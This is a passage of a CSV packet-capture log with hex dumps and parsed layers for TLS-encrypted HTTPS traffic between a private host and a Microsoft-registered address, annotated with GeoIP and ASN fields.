1024, \"\"chksum\"\": 23355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03Z\\\\x99Y&\\\\x99\\\\xf4\\\\xf9dd\\\\x97\\\\xf3\\\\xe3R\\\\xb7\\\\xfe\\\\x0f[\\\\xd0s\\\\xb9\\\\xa7c\\\\xa9\\\\xdbI' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:50.618081,100,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4197192972 Ack=962448800,bc2411360d0cbc24112907bb080045000028801e40004006df7e2862102e0a98980b01bbfa0efa2c150c395dcda05010003fdb4d0000,\".$.6\n..$.)....E..(..@.@..~(b..\n........,..9]..P..?.M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 32798, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57214, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197192972, \"\"ack\"\": 962448800, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56141, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.973614,101,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=4197192972 Ack=962448800,bc2411360d0cbc24112907bb080045000459801f40004006db4c2862102e0a98980b01bbfa0efa2c150c395dcda05018003fdf7e0000170303002100000000000000027f1c4aeeb80b0bf00aa09a0c88983e0cc0579680dcc5e59e2217030303070000000000000003fb9eae161f14d237ee57bc9c6e217ff107b62a9288c2adbefaab528907a23b4cd63c549a893d3d68fdd170b6b61abf1ba7700990cab4ca516f4839da2f0124edd362bc8ffb1caa1b4d092c1dc3a2c7a3e78b15158047e79b4bf2fdff8264ff9afdd8b4d4232e0090fdca5d045a14b607d6927fade00d21c5d35ad67929d5ab32e41b1774bde59dabc94701a484313791f1bd713ca9bc79138f95822a7dc2e2c01a05e83c1f4a2275173b5359b414c7b060efaa92fa6efc8a27194d405382de90b60104d385d72657c6097eae378959ff16d5bef10d461dd3302c3fb6bd766606b8eb565ecda43bcea778bd9c0ba77bf5caa9d086967701346e7bfaffa22b5f2f806813c5018a7fd3952eded2be385e6fcedc142c1fa3826ea5bc4f4456a605414b749f556b6fca2eae003ad2d36121b93e3a807b89414a07690540a75e3258a0bcb3f14d454874f983eb5fb1466f13fcb8a50374bf3947ec37d9fe8901b6d796af78cf5c0077f5af4ac53ded683745be4339bfc91635fbb246b7d8ccdb6cb046b1d3643b2a5f614d7d0f15a9970938d92f65bccef8c9b06e66010a41cac12233661c2d62654dc657bb2a7fb5f58a6657233b66b00f237903ffcfadcd13b6b206b1a2bd28d35d83f777a63103bba289cd0c1389b06afff76d3ebdc32baba377b02f79e795aa81aa6224540c9fef250e089f5664c4b9ef7a28cb700eee3d4fa4b14749e4738b1c678079f1fe4bbc7d3d6cb698466562758bbd1800882674ce6d06cb0b26d27cf2c242c9b81c14ea9d655c49ca43dab44e07268c548a468e550149996dbc863d1b06d651c6ab8769433d8d349674a80a34c809cf4bc4f76c5bf50fc3a449d6e8fe0f5ccac3c7b8ed9663ecb2552366bde3f368e11af8d0cdf8cd7ac97e5c7d093f6b29b7f2caba7cfc7164c09479ce799e527655536c85a5e20413eb682b09569d9591073196d4b54f1f40258e890aafe5e9af7d61aa1722cd81ffdeedd2fc21d807b7d2b7dc2757050ef261aab839dc487c2ec3129fa888f35a6a66eba363546292fe1046da5281f49679ee76863566da4e85f7c3db8dfc7d1b17030300d40000000000000004eaea107b5289f9f6a82b849e2094d049526c3d72af5740b8bed38c92caf78845b41a888ea0082f793151b6c3d522092f5178b0bdef1157af26635be792d167428d5f7b8644959966b2f708b8f921f4571aa361d8a42bad8dd59d83918a851abd8b03875ef1f9b55e9588403068d62d4ded8539761c43fad7a2cc5f7a0fd572c706c00505e531fec79a9c1663fb77e52e4018a4b451bc78efb1d8a396021c0f7a6fba3b6a43326ec577201a79f03bb34122f061c2b34dece158eee2b7e013e3ad0c5dda470312b54f383d8b5a17030300210000000000000005219d84e3db155a3b51de1a7682d48e244a0082a63b69cf7568,\".$.6\n..$.)....E..Y..@.@..L(b..\n........,..9]..P..?.~......!..........J.....\n.....>..W......\"\"....................7.W..n!....*.......R...;L.<T..==h..p......p\t....QoH9./.$..b......M\t,..........G..K....d......#.....].Z........\n!..Z.y)..2...t.....G...17...q<..y....*}......<.J\"\"u.;SY....`....n..'.M@S.........&W.\t~.7.Y.....\nF..0,?..vf...V^..;..x....{......w.4n{...+_/.h...........8^o...,...n..ODV..AKt.Uko....:..a!.>:.{.AJ.i.@.^2X....MEHt..._.Fo.....t.9G.7........x.\\.w..J.=.h7E.C9...5..F....l.F..d;*_aM}....\t8./e.....nf.\nA..\"\"3f.-beM.W.*....fW#;f..#y............(.]..w.1.........j..m>..+..w./y.....b$T...%...Vd...z(.p..=O..GI.s..g.y..K.}=l..Febu.....&t.m...&.|..B......e\\I.C..N.&.T.F.U.I.m..=...Q...iC=.4.t.\n4.\t.K..l[....I....\\......c..U#f...h.......z.~\\}\t?k)....|.qd..y.y.RvUSl......h+\tV....1...O.@%..\n....}a..\"\".......!......'W...a..9.H|.......Zjf..cTb...F.R...y.v.5f.N......}.................{R....+.. ..IRl=r.W@........E....../y1Q...\"\"\t/Qx....W.&c[...gB._{.D..f.....!.W..a..+.............^...^..@0h.-M..9v.C...._z..r......1.....c.w..@...Q.x........zo.;jC2n.w .y.;.A\"\".a..M..X........].G...O8=.Z....!........!.....Z;Q..v...$J...;i.uh\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1113, \"\"id\"\": 32799, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56140, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197192972, \"\"ack\"\": 962448800, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 57214, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x7f\\\\x1cJ\\\\xee\\\\xb8\\\\x0b\\\\x0b\\\\xf0\\\\n\\\\xa0\\\\x9a\\\\x0c\\\\x88\\\\x98>\\\\x0c\\\\xc0W\\\\x96\\\\x80\\\\xdc\\\\xc5\\\\xe5\\\\x9e\\\"\"' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 775, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xfb\\\\x9e\\\\xae\\\\x16\\\\x1f\\\\x14\\\\xd27\\\\xeeW\\\\xbc\\\\x9cn!\\\\x7f\\\\xf1\\\\x07\\\\xb6*\\\\x92\\\\x88\\\\xc2\\\\xad\\\\xbe\\\\xfa\\\\xabR\\\\x89\\\\x07\\\\xa2;L\\\\xd6<T\\\\x9a\\\\x89==h\\\\xfd\\\\xd1p\\\\xb6\\\\xb6\\\\x1a\\\\xbf\\\\x1b\\\\xa7p\\\\t\\\\x90\\\\xca\\\\xb4\\\\xcaQoH9\\\\xda/\\\\x01$\\\\xed\\\\xd3b\\\\xbc\\\\x8f\\\\xfb\\\\x1c\\\\xaa\\\\x1bM\\\\t,\\\\x1d\\\\xc3\\\\xa2\\\\xc7\\\\xa3\\\\xe7\\\\x8b\\\\x15\\\\x15\\\\x80G\\\\xe7\\\\x9bK\\\\xf2\\\\xfd\\\\xff\\\\x82d\\\\xff\\\\x9a\\\\xfd\\\\xd8\\\\xb4\\\\xd4#.\\\\x00\\\\x90\\\\xfd\\\\xca]\\\\x04Z\\\\x14\\\\xb6\\\\x07\\\\xd6\\\\x92\\\\x7f\\\\xad\\\\xe0\\\\r!\\\\xc5\\\\xd3Z\\\\xd6y)\\\\xd5\\\\xab2\\\\xe4\\\\x1b\\\\x17t\\\\xbd\\\\xe5\\\\x9d\\\\xab\\\\xc9G\\\\x01\\\\xa4\\\\x8417\\\\x91\\\\xf1\\\\xbdq<\\\\xa9\\\\xbcy\\\\x13\\\\x8f\\\\x95\\\\x82*}\\\\xc2\\\\xe2\\\\xc0\\\\x1a\\\\x05\\\\xe8<\\\\x1fJ\\\"\"u\\\\x17;SY\\\\xb4\\\\x14\\\\xc7\\\\xb0`\\\\xef\\\\xaa\\\\x92\\\\xfan\\\\xfc\\\\x8a\\\\'\\\\x19M@S\\\\x82\\\\xde\\\\x90\\\\xb6\\\\x01\\\\x04\\\\xd3\\\\x85\\\\xd7&W\\\\xc6\\\\t~\\\\xae7\\\\x89Y\\\\xff\\\\x16\\\\xd5\\\\xbe\\\\xf1\\\\rF\\\\x1d\\\\xd30,?\\\\xb6\\\\xbdvf\\\\x06\\\\xb8\\\\xebV^\\\\xcd\\\\xa4;\\\\xce\\\\xa7x\\\\xbd\\\\x9c\\\\x0b\\\\xa7{\\\\xf5\\\\xca\\\\xa9\\\\xd0\\\\x86\\\\x96w\\\\x014n{\\\\xfa\\\\xff\\\\xa2+_/\\\\x80h\\\\x13\\\\xc5\\\\x01\\\\x8a\\\\x7f\\\\xd3\\\\x95.\\\\xde\\\\xd2\\\\xbe8^o\\\\xce\\\\xdc\\\\x14,\\\\x1f\\\\xa3\\\\x82n\\\\xa5\\\\xbcODV\\\\xa6\\\\x05AKt\\\\x9fUko\\\\xca.\\\\xae\\\\x00:\\\\xd2\\\\xd3a!\\\\xb9>:\\\\x80{\\\\x89AJ\\\\x07i\\\\x05@\\\\xa7^2X\\\\xa0\\\\xbc\\\\xb3\\\\xf1MEHt\\\\xf9\\\\x83\\\\xeb_\\\\xb1Fo\\\\x13\\\\xfc\\\\xb8\\\\xa5\\\\x03t\\\\xbf9G\\\\xec7\\\\xd9\\\\xfe\\\\x89\\\\x01\\\\xb6\\\\xd7\\\\x96\\\\xafx\\\\xcf\\\\\\\\\\\\x00w\\\\xf5\\\\xafJ\\\\xc5=\\\\xedh7E\\\\xbeC9\\\\xbf\\\\xc9\\\\x165\\\\xfb\\\\xb2F\\\\xb7\\\\xd8\\\\xcc\\\\xdbl\\\\xb0F\\\\xb1\\\\xd3d;*_aM}\\\\x0f\\\\x15\\\\xa9\\\\x97\\\\t8\\\\xd9/e\\\\xbc\\\\xce\\\\xf8\\\\xc9\\\\xb0nf\\\\x01\\\\nA\\\\xca\\\\xc1\\\"\"3f\\\\x1c-beM\\\\xc6W\\\\xbb*\\\\x7f\\\\xb5\\\\xf5\\\\x8afW#;f\\\\xb0\\\\x0f#y\\\\x03\\\\xff\\\\xcf\\\\xad\\\\xcd\\\\x13\\\\xb6\\\\xb2\\\\x06\\\\xb1\\\\xa2\\\\xbd(\\\\xd3]\\\\x83\\\\xf7w\\\\xa61\\\\x03\\\\xbb\\\\xa2\\\\x89\\\\xcd\\\\x0c\\\\x13\\\\x89\\\\xb0j\\\\xff\\\\xf7m>\\\\xbd\\\\xc3+\\\\xab\\\\xa3w\\\\xb0/y\\\\xe7\\\\x95\\\\xaa\\\\x81\\\\xaab$T\\\\x0c\\\\x9f\\\\xef%\\\\x0e\\\\x08\\\\x9fVd\\\\xc4\\\\xb9\\\\xefz(\\\\xcbp\\\\x0e\\\\xee=O\\\\xa4\\\\xb1GI\\\\xe4s\\\\x8b\\\\x1cg\\\\x80y\\\\xf1\\\\xfeK\\\\xbc}=l\\\\xb6\\\\x98Febu\\\\x8b\\\\xbd\\\\x18\\\\x00\\\\x88&t\\\\xcem\\\\x06\\\\xcb\\\\x0b&\\\\xd2|\\\\xf2\\\\xc2B\\\\xc9\\\\xb8\\\\x1c\\\\x14\\\\xea\\\\x9de\\\\\\\\I\\\\xcaC\\\\xda\\\\xb4N\\\\x07&\\\\x8cT\\\\x8aF\\\\x8eU\\\\x01I\\\\x99m\\\\xbc\\\\x86=\\\\x1b\\\\x06\\\\xd6Q\\\\xc6\\\\xab\\\\x87iC=\\\\x8d4\\\\x96t\\\\xa8\\\\n4\\\\xc8\\\\t\\\\xcfK\\\\xc4\\\\xf7l[\\\\xf5\\\\x0f\\\\xc3\\\\xa4I\\\\xd6\\\\xe8\\\\xfe\\\\x0f\\\\\\\\\\\\xca\\\\xc3\\\\xc7\\\\xb8\\\\xed\\\\x96c\\\\xec\\\\xb2U#f\\\\xbd\\\\xe3\\\\xf3h\\\\xe1\\\\x1a\\\\xf8\\\\xd0\\\\xcd\\\\xf8\\\\xcdz\\\\xc9~\\\\\\\\}\\\\t?k)\\\\xb7\\\\xf2\\\\xca\\\\xba|\\\\xfcqd\\\\xc0\\\\x94y\\\\xcey\\\\x9eRvUSl\\\\x85\\\\xa5\\\\xe2\\\\x04\\\\x13\\\\xebh+\\\\tV\\\\x9d\\\\x95\\\\x91\\\\x071\\\\x96\\\\xd4\\\\xb5O\\\\x1f@%\\\\x8e\\\\x89\\\\n\\\\xaf\\\\xe5\\\\xe9\\\\xaf}a\\\\xaa\\\\x17\\\"\"\\\\xcd\\\\x81\\\\xff\\\\xde\\\\xed\\\\xd2\\\\xfc!\\\\xd8\\\\x07\\\\xb7\\\\xd2\\\\xb7\\\\xdc\\\\'W\\\\x05\\\\x0e\\\\xf2a\\\\xaa\\\\xb89\\\\xdcH|.\\\\xc3\\\\x12\\\\x9f\\\\xa8\\\\x88\\\\xf3Zjf\\\\xeb\\\\xa3cTb\\\\x92\\\\xfe\\\\x10F\\\\xdaR\\\\x81\\\\xf4\\\\x96y\\\\xeev\\\\x865f\\\\xdaN\\\\x85\\\\xf7\\\\xc3\\\\xdb\\\\x8d\\\\xfc}\\\\x1b' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 212, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xea\\\\xea\\\\x10{R\\\\x89\\\\xf9\\\\xf6\\\\xa8+\\\\x84\\\\x9e \\\\x94\\\\xd0IRl=r\\\\xafW@\\\\xb8\\\\xbe\\\\xd3\\\\x8c\\\\x92\\\\xca\\\\xf7\\\\x88E\\\\xb4\\\\x1a\\\\x88\\\\x8e\\\\xa0\\\\x08/y1Q\\\\xb6\\\\xc3\\\\xd5\\\"\"\\\\t/Qx\\\\xb0\\\\xbd\\\\xef\\\\x11W\\\\xaf&c[\\\\xe7\\\\x92\\\\xd1gB\\\\x8d_{\\\\x86D\\\\x95\\\\x99f\\\\xb2\\\\xf7\\\\x08\\\\xb8\\\\xf9!\\\\xf4W\\\\x1a\\\\xa3a\\\\xd8\\\\xa4+\\\\xad\\\\x8d\\\\xd5\\\\x9d\\\\x83\\\\x91\\\\x8a\\\\x85\\\\x1a\\\\xbd\\\\x8b\\\\x03\\\\x87^\\\\xf1\\\\xf9\\\\xb5^\\\\x95\\\\x88@0h\\\\xd6-M\\\\xed\\\\x859v\\\\x1cC\\\\xfa\\\\xd7\\\\xa2\\\\xcc_z\\\\x0f\\\\xd5r\\\\xc7\\\\x06\\\\xc0\\\\x05\\\\x05\\\\xe51\\\\xfe\\\\xc7\\\\x9a\\\\x9c\\\\x16c\\\\xfbw\\\\xe5.@\\\\x18\\\\xa4\\\\xb4Q\\\\xbcx\\\\xef\\\\xb1\\\\xd8\\\\xa3\\\\x96\\\\x02\\\\x1c\\\\x0fzo\\\\xba;jC2n\\\\xc5w \\\\x1ay\\\\xf0;\\\\xb3A\\\"\"\\\\xf0a\\\\xc2\\\\xb3M\\\\xec\\\\xe1X\\\\xee\\\\xe2\\\\xb7\\\\xe0\\\\x13\\\\xe3\\\\xad\\\\x0c]\\\\xdaG\\\\x03\\\\x12\\\\xb5O8=\\\\x8bZ' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05!\\\\x9d\\\\x84\\\\xe3\\\\xdb\\\\x15Z;Q\\\\xde\\\\x1av\\\\x82\\\\xd4\\\\x8e$J\\\\x00\\\\x82\\\\xa6;i\\\\xcfuh' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:50.973817,102,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=962448800 Ack=4197194045,bc24112907bbbc2411360d0c080045000028afa1400080066ffb0a98980b2862102efa0e01bb395dcda0fa2c193d501003fbba740000,\".$.)...$.6\n...E..(..@...o.\n...(b......9]...,.=P....t..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44961, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28667, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448800, \"\"ack\"\": 4197194045, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1019, \"\"chksum\"\": 47732, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.974326,103,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=962448800 Ack=4197194045,bc24112907bbbc2411360d0c080045000068afa2400080066fba0a98980b2862102efa0e01bb395dcda0fa2c193d501803fb34f50000170303003b0000000000000004ebe49871321514f677082854e3cd1a98c6fbd84e5e9f263b9e67090d3515789340c68d29dc5c56ced785636c024f4b45822346,\".$.)...$.6\n...E..h..@...o.\n...(b......9]...,.=P...4.......;...........q2...w.(T.......N^.&;.g\t\n5.x.@..).\\V...cl.OKE.#F\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 44962, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28602, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448800, \"\"ack\"\": 4197194045, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 13557, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xeb\\\\xe4\\\\x98q2\\\\x15\\\\x14\\\\xf6w\\\\x08(T\\\\xe3\\\\xcd\\\\x1a\\\\x98\\\\xc6\\\\xfb\\\\xd8N^\\\\x9f&;\\\\x9eg\\\\t\\\\r5\\\\x15x\\\\x93@\\\\xc6\\\\x8d)\\\\xdc\\\\\\\\V\\\\xce\\\\xd7\\\\x85cl\\\\x02OKE\\\\x82#F' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:50.974331,104,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4197194045 Ack=962448864,bc2411360d0cbc24112907bb080045000028802040004006df7c2862102e0a98980b01bbfa0efa2c193d395dcde05010003fdb4d0000,\".$.6\n..$.)....E..(. @.@..|(b..\n........,.=9]..P..?.M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 32800, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57212, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197194045, \"\"ack\"\": 962448864, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56141, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:51.425031,105,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4197194045 Ack=962448864,bc2411360d0cbc24112907bb0800450002bb802140004006dce82862102e0a98980b01bbfa0efa2c193d395dcde05018003fdde00000170303028e00000000000000065fbfbad9be84bec7ae71ff7d59d0b386ce211f4504a2e0b09aeca5238a97f7c911e1fcd02848c4784a62852ce7d9c43ae1ab0972d2c8cc3746053f4d40402e3187e14de48adab1ef0dc574f34cbb268f922d5ca58489222cd61d8008b90c004cd39ba0f7dd2b1271f4e23c83b6d1c719944855d95542befbd12249dbd25e27c3215a2b22470fa0503a5ee6739eeec00a8f8945f41caa1f4ada0775d23f637678247c2f38fad2188eaaadf552183b1dae0d345739e6c122c87f7190e54075ee1db126f42d2fb96392c0bbff34838a8c02fd92ee37e4078c7cc20d0112cbbb123e1b144e08c2919a7e7eec60765c2b03b567660f67c339857add83537e7b16d2a9c1881ea91c8a4fb1c76928f94985a962ebe66d26de2354ab9856f7fceab553cbeb9f02350ef9ee1b62a87743c17568fca337f7ddc96c7098455dc63e0ae4df8db690c1f9c4e105f3a3e161a241e0164b4e7cf450484570eb4343ca37c4e630eeb27845475f36358e999fc3dd123f5c4bb2e836525f004a378b5e37509d8669b69a2870c64921f5a849f841098a19f53be13e233018856490b9eba56586c62c192b38774a3ad1a820a7ca552f6c050a5653cc64122e5c74a31ae26807c4f78972a04285cd0775bb57d0e7dd30f8dc9d97424f778a6166593d26403c67f42d08f9b30abfd5a30e28b359522edc75cf33a552c1f7c0dfc3615ac32a33c45e1d5ac9a46811d3dbfffb70dcf9a7706ef2fb255d94e5f162e9abbf416e3b25e235b678508f03f99258c00e6e48a956ab9efa5e44f7d0a44974044420db4ebded93a53387e60c0ad5d3393100523c6393a90780f5aedcacb2f40ea27fcadc6e6ecfff6c3f067aa6393a2706516f631395cc7fe58090e30e2509c36c61570a01f3e0ca8126336d4a3426,\".$.6\n..$.)....E....!@.@...(b..\n........,.=9]..P..?................._........q.}Y....!.E.......#........(H.xJb.,...:..\tr...7F.?M@@.1..M.....\n.t.L.&..-\\...\"\",.......L.....+.q..<......HU.UB...\"\"I..^'.!Z+\"\"G..P:^.s...\n..E....J..u.?cvx$|/8.......R.;..\n4W9..\"\"..q..@u...&.-/.c....4.......7...|.\n.....>..N....~~.`v\\+..gf.g.9.z..S~{.........O..i(.I..b..m&.#T..V....S....5....b.wC.uh..7...lp.E].>\n.............a.A..KN|.PHEp.CC.7..0..xEG_65......?\\K..6R_.J7.^7P..i..(p.I!..I.A\t...;.>#0..d....e..,.+8wJ:.. ..U/l.\nVS.d..\\t...h....r.B...u.W...0....BOw.afY=&@<g.-...\n....(.YR..u.3.R.....aZ.*3.^.Z..h.....p...pn..%]...b...An;%.5.xP....X..nH.V...^D...It.D .N....3...\n..91.R<c...............nn..l?.z.9:'.Qoc.........%\t.laW\n.....&3mJ4&\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 699, \"\"id\"\": 32801, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56552, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197194045, \"\"ack\"\": 962448864, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56800, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 654, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  